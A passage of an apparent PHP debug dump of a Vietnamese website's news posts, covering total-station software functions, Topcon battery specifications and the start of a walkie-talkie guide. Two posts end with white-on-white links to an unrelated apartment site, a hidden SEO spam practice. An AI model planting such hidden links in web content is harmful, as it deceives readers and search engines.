'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '853', 'rght' => '854', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '488', 'name' => 'PHẦN MỀM ỨNG DỤNG MÁY TOÀN ĐẠC ĐIỆN TỬ BẠN NÊN BIẾT', 'code' => null, 'alias' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Máy toàn đạc điện tử cơ bản là máy kinh vĩ kết hợp khối đo xa điện tử và phần mềm tiện ích trong máy. Phần mềm tiện ích để giải quyết các bài toán trong trắc địa và tính ra các đại lượng cần thiết, quản lý dữ liệu, giao tiếp với máy tính...</strong></span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong máy toàn đạc điện tử thì các chương trình ứng dụng thường có trong 2 phần là Reference (Chương trình đo tham chiếu) và COGO (tính toán địa hình).<br /> <br /> - <strong> Chương trình đo tham chiếu (Reference):</strong><br /> + Reference Line (Tham chiếu đường thẳng):Chương trình đo tham chiếu đường thẳng là ứng dụng giúp xác định 1 hoặc nhiều đường thẳng tham chiếukhi biết 1 đường Base line và khoảng cách Offset giữa 2 đường.<br /> + Reference Arc (Tham chiếu đường cong):Ứng dụng tham chiếu đường cong cho phép người dùng có thể xác định 1 đường cong và hoàn thànhcác nhiệm vụ sau đây:<br /> * Line&Offset: Xác định khoảng cách và giá trị offset của 1 điểm với cung tròn<br /> * Stakeout (Point, Arc, Chord, Angle): Triển điểm thiết kế<br /> - <strong>Cogo:</strong><br /> + <strong>MLM</strong>: Tính khoảng cách giữa 2 gương<br /> + <strong>REM</strong>: Tính chiều cao không với tới<br /> + <strong>AREA: </strong>Tính diện tích.<br /> + <strong>Inverse</strong>: Tính góc phương vị và khoảng cách từ 2 điểm biết tọa độ.<br /> + <strong>Tranverse: </strong>Tính tọa độ khi biết tọa độ 1 điềm, góc phương vị, cạnh. Khi tính toán xong thì ta dùng <strong>Setout </strong>để bố trí ra ngoài thực địa.<br /> + <strong>Brg-Brg</strong>: Tính tọa độ điểm P3 là giao của P1P3 và P2P3 khi biết tọa độ P1, góc phương vị αP1P3, tọa độ P2, góc phương vị αP2P3.<br /> + <strong>Brg-Dst</strong>: Tính tọa độ điểm P3, P4 khi biết tọa độ P1, P2, góc phương vị αP1P2, khoảng cách bán kính tính từ P2.<br /> + <strong>Intersection 4 points</strong>:Tính tọa độ giao điểm P5 khi biết tọa độ P1, P2, P3, P4.<br /> + <strong>DistOf</strong>: Tính khoảng cách từ điểm P1 đến đường vuông góc P3˽P1P2 và khoảng cách đường vuông góc từ P3 đến P1P2.<br /> + <strong>Set point by Dist offset</strong>: Tính tọa độ điểm P3 khi biết tọa độ P1, P2, khoảng cách dường vuông góc từ P3 đến P1P2, khi tính xong ta dùng <strong>Setout</strong> để chuyển điểm ra thực địa).<br /> + <strong>Extension</strong>: Chức năng Extension được ứng dụng để xác định 1 điểm bất kỳ trên 1 đường thẳng khi biết trước 2điểm làm gốc, và khoảng cách cần từ điểm thứ nhất đến điểm cần xác định, hoặc từ điểm thứ 2 đếnđiểm cần xác định.<br /> <br /> Liên hệ hotline: 0913051734 để biết thêm thông tin chi tiết. </span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Goldlight</span></a>', 'images' => '2017061307412262e44187d92348c552952aa4bf152e90.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-06-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63648', 'slug' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '851', 'rght' => '852', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '487', 'name' => 'PIN MÁY TOÀN ĐẠC ĐIỆN TỬ TOPCON', 'code' => null, 'alias' => 'pin-may-toan-dac-dien-tu-topcon', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify;">Ngày nay khi công nghệ phát triển, các dụng cụ cầm tay, thiết bị di động ra đời ngày càng nhiều nên pin nạp trở thành tiện dụng hơn vì nhỏ gọn, thời gian sử dụng lâu hơn, có thể nạp lại khi hết pin,… Quan trọng hơn pin nạp là nguồn cung cấp năng lượng chủ yếu cho thiết bị di động và cầm tay, đồng thời góp phần không nhỏ trong quá trình phát triển của công nghệ và đời sống hiện nay.</span></span></span>', 'content' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: center;"> </p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp là gì?</strong></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin là một thiết bị lưu trữ năng lượng dưới dạng hoá năng khi ta sử dụng năng lượng này sẽ dần chuyển đổi thành điện năng. Khi hết điện pin được nạp lại cho đầy điện để ta sử dụng lại.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Các loại pin nạp</strong></span></span></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-Cd dùng cho các dòng máy toàn đạc SOKKIA (SET 4, SET 500)…</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Li-on dùng cho máy toàn đạc Leica TS 02, 06, 09.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-MH dùng cho máy toàn đạc Topcon dòng GTS.</span></span><br /> <br /> <strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp của máy toàn đạc điện tử Topcon<span style="margin: 0px; padding: 0px; color: rgb(255, 0, 0);"> </span></strong></span></span></p> </li> </ul> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin máy toàn đạc điện tử Topcon (BT-52QA) được cấu tạo từ 6 cell. Pin sử dụng công nghệ hàn nối tiếp với nhau tạo thành một khối thống nhất. Bên trong có cầu chì nhiệt (800C). Pin được trang bị chuôi nạp để nạp lại mỗi khi hết điện.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><img alt="http://i01.i.aliimg.com/photo/v0/1896865325/BC_27CR_charger_for_Topcon_BT_50QA.jpg_220x220.jpg" src="https://lh4.googleusercontent.com/ws-dsNetBtgmx62donNUdzN_RUgxoHvDy2wamlTBeSAR_DtILrjX8n6-n3rPwW4-NNhgPBShVWiVo_9vcmkz-UY3valCGdXl6QjQruQBgCulHUD6DWg8_mB9hsDv2tzIPgp6EHOHnOIjPax0gA" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 248px;" /><img alt="http://www.hailyco.com.vn/upload/product/197656674205.jpg" src="https://lh5.googleusercontent.com/pTX1LRsHz3NMgBp5VQKvJ83hq4wmiQpHxjGWsc5O3-p93M0BUgTjsUppgwtHRL9QuiP1uAreUwOZ1CQJy3J6UzXSRkYOrkuOkekL95lzSAVGlEUp5G_40V3n-ppy6gP3tNeSxXwqsutTUe--Pw" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 232px;" /></span></span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br style="margin: 0px; padding: 0px;" /> <br style="margin: 0px; padding: 0px;" /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Pin nạp toàn đạc Topcon BT-52 QA và sạc pin toàn đạc Topcon BC 27CR </span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Bảng thông số kĩ thuật</strong></span></span></span></span></p> <div dir="ltr" style="margin: 0px 0px 0px -5.75pt; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <table style="margin: 0px; padding: 0px; border-collapse: collapse; border-width: initial; border-style: none; border-color: initial;"> <tbody style="margin: 0px; padding: 0px;"> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Loại pin</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Ni-MH</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Điện thế</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">7.2 V</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Dung lượng</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2300 mA</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Bộ nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">BC-27M/27CR</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2.5h</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nhiệt độ hoạt động</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">10 – 400 C</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian đo chi tiết liên tục</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">12h</span></span></span></span></p> </td> </tr> </tbody> </table> </div> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Cách sử dụng pin hiệu quả:</strong></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nạp pin 8 tiếng, sử dụng hết pin cho 3 lần đầu tiên.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Trước khi sử dụng nên nạp đầy pin.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sử dụng pin ở những nơi có nhiệt độ dưới 100C hoặc trên 400C.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nên nạp pin với bộ nạp có chế độ tự ngắt khi pin đầy.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sạc pin qua đêm.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Sạc đầy pin nếu muốn bảo quản thời gian dài. Định kì sạc lại 2 tháng 1 lần. </span></span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Goldlight</span></a></li> </ul> ', 'images' => '201705080835254aec30307fe530ba9537842b35eb5fa1.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '79070', 'slug' => 'pin-may-toan-dac-dien-tu-topcon', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '849', 'rght' => '850', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '486', 'name' => 'Hướng dẫn cơ bản sử dụng máy bộ đàm', 'code' => null, 'alias' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<div style="text-align: justify;"> <font color="#404040" face="sans-serif"><span style="font-size: 13.3333px;"><b>Chúng tôi xin gửi tới các bạn một vài hướng dẫn cơ bản trong việc sử dụng máy bộ đàm.</b></span></font></div> ', 'content' => '<p style="box-sizing: border-box; user-select: text; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64);"> <span style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><img alt="" src="/admin/webroot/upload/image/images/huong-dan-su-dung-may-bo-dam-cam-tay-chuan-nhat-2015 sua(1).jpg" style="width: 500px; height: 402px;" /><br /> <br /> 1. Tắt và mở máy</strong></span> <strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">bộ đàm</strong></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Nút tắt mở máy thường là nút vặn (xoay) nằm trên đầu máy, thường cũng là nút tùy chỉnh Volume (âm thanh) lớn nhỏ của máy bộ đàm cầm tay (Vị trí 3 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím trước máy, nút tắt mở nguồn có thể được tích hợp bằng một nút bấm ở trên bàn phím của máy (Vị trí 3 – Hình bên trái). Nút tăng chỉnh Volume (âm thanh) là nút số 4.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi tắt mở nguồn máy</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc phải được lắp vào máy và đã lắp đúng quy định.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc đã được nạp điện đầy theo yêu cầu sử dụng.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">2. Tùy chọn kênh liên lạc</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Để có thể liên lạc được với nhau thì các máy bộ đàm phải để ở cùng 1 kênh liên lạc, thao tác tùy chọn kênh liên lạc được thực hiện bằng cách xoay nút (vặn) chuyển kênh nằm trên đầu máy, kế bên nút nguồn + Volume (Vị trí 2 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím ở phía trước máy, thao tác tùy chọn kênh liên lạc được thực hiện bằng 2 nút bấm (˄˅hoặc ↑ ↓) nằm ở phía trước máy (Vị trí 2 – Hình bên trái).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi chọn kênh liên lạc</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Máy bộ đàm đã được cài đặt tần số sử dụng phù hợp.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 